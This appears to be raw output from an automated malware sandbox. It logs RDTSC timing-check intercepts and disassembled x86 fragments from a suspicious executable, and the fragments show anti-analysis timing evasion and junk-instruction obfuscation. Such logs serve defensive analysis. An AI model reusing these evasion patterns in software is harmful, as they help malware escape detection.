Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BD11D3 second address: BD11F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FD6ACBFE9FFh 0x0000000e pushad 0x0000000f popad 0x00000010 jnl 00007FD6ACBFE9F6h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BD11F8 second address: BD1220 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD6ACBE62B6h 0x00000008 jns 00007FD6ACBE62B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD6ACBE62C5h 0x00000018 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BD1220 second address: BD1239 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFEA03h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BD6980 second address: BD69A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6ACBE62C0h 0x00000009 popad 0x0000000a jmp 00007FD6ACBE62BBh 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BD69A5 second address: BD69B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007FD6ACBFE9F6h 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BD69B9 second address: BD69BF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BDBE99 second address: BDBEB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6ACBFEA09h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BDBEB7 second address: BDBEC4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD6ACBE62B8h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BDC5E7 second address: BDC5FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFEA01h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BDC8A9 second address: BDC8AE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BDC8AE second address: BDC8C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 jmp 00007FD6ACBFEA02h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BDCE1B second address: BDCE1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BDCE1F second address: BDCE23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE100E second address: BE1016 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE1016 second address: BE1032 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD6ACBFEA08h 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE1621 second address: BE162A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE162A second address: BE162E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE162E second address: BE165A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FD6ACBE62C4h 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007FD6ACBE62BCh 0x00000016 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE165A second address: BE1696 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFE9FCh 0x00000007 jnl 00007FD6ACBFE9F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 jmp 00007FD6ACBFEA09h 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b ja 00007FD6ACBFE9F6h 0x00000021 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE1696 second address: BE169A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE169A second address: BE16A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE1BDA second address: BE1BDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE1BDE second address: BE1BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FD6ACBFEA03h 0x0000000d pop eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE1FCB second address: BE1FFB instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD6ACBE62BAh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jnp 00007FD6ACBE62B6h 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007FD6ACBE62C3h 0x00000022 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE6331 second address: BE634B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFEA06h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE634B second address: BE6352 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B6D33E second address: B6D35D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 js 00007FD6ACBFE9F6h 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007FD6ACBFE9F8h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B6D35D second address: B6D361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B6D361 second address: B6D372 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD6ACBFE9FBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB5044 second address: BB507A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD6ACBE62C6h 0x00000008 jmp 00007FD6ACBE62BFh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 jno 00007FD6ACBE62B6h 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB507A second address: BB5081 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB52C6 second address: BB52CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB54FE second address: BB5502 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB5502 second address: BB5508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB57D5 second address: BB57DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB5AEB second address: BB5AF1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB5AF1 second address: BB5AF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB5AF7 second address: BB5AFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB5AFB second address: BB5B6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFE9FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007FD6ACBFE9F8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 call 00007FD6ACBFEA03h 0x0000002d mov dl, bh 0x0000002f pop edi 0x00000030 push 00000004h 0x00000032 push 00000000h 0x00000034 push ebp 0x00000035 call 00007FD6ACBFE9F8h 0x0000003a pop ebp 0x0000003b mov dword ptr [esp+04h], ebp 0x0000003f add dword ptr [esp+04h], 00000015h 0x00000047 inc ebp 0x00000048 push ebp 0x00000049 ret 0x0000004a pop ebp 0x0000004b ret 0x0000004c nop 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB5B6F second address: BB5B79 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD6ACBE62B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB5B79 second address: BB5B97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFEA01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB5B97 second address: BB5BA1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD6ACBE62BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BACE43 second address: BACE47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB71DF second address: BB71EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD6ACBE62B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB9A18 second address: BB9A1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB71EA second address: BB71F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BBCA1C second address: BBCA20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BBCAD9 second address: BBCADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BBCADF second address: BBCAE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BC1CBE second address: BC1CD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBE62BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BC1CD4 second address: BC1CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BC824A second address: BC825E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBE62C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BC8337 second address: BC833C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BC833C second address: BC8352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FD6ACBE62BCh 0x00000010 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BC0BBA second address: BC0BEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFEA04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d jmp 00007FD6ACBFEA04h 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB625C second address: BB6282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push edi 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e ja 00007FD6ACBE62B6h 0x00000014 popad 0x00000015 pop edi 0x00000016 mov eax, dword ptr [eax] 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD6ACBE62BCh 0x0000001f rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB6301 second address: BB6318 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFEA03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB6318 second address: BB631E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB631E second address: BB6322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB6322 second address: BB6326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB63F3 second address: B90221 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+124462E3h], ebx 0x00000010 call dword ptr [ebp+12446058h] 0x00000016 jmp 00007FD6ACBFEA02h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B90221 second address: B90257 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD6ACBE62B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jl 00007FD6ACBE62B6h 0x00000011 jne 00007FD6ACBE62B6h 0x00000017 jmp 00007FD6ACBE62C9h 0x0000001c popad 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE568C second address: BE5691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE5691 second address: BE56BB instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD6ACBE62BAh 0x00000008 jne 00007FD6ACBE62BCh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FD6ACBE62BBh 0x0000001a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE5A90 second address: BE5AB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6ACBFEA03h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007FD6ACBFE9F6h 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE5DA9 second address: BE5DBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD6ACBE62BCh 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE5DBB second address: BE5DCF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD6ACBFE9FAh 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BE5DCF second address: BE5DD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BED990 second address: BED9B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFEA01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FD6ACBFE9FEh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BED9B6 second address: BED9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BED9BC second address: BED9C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FD6ACBFE9F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BF1BB1 second address: BF1BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6ACBE62BEh 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BF1BC7 second address: BF1BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BF1D15 second address: BF1D1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BF1D1D second address: BF1D38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD6ACBFEA02h 0x0000000e rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BF251C second address: BF252E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jno 00007FD6ACBE62B6h 0x00000012 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BF266F second address: BF2685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6ACBFEA02h 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BF5D85 second address: BF5D89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BF5A94 second address: BF5A9A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BF7C3D second address: BF7C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
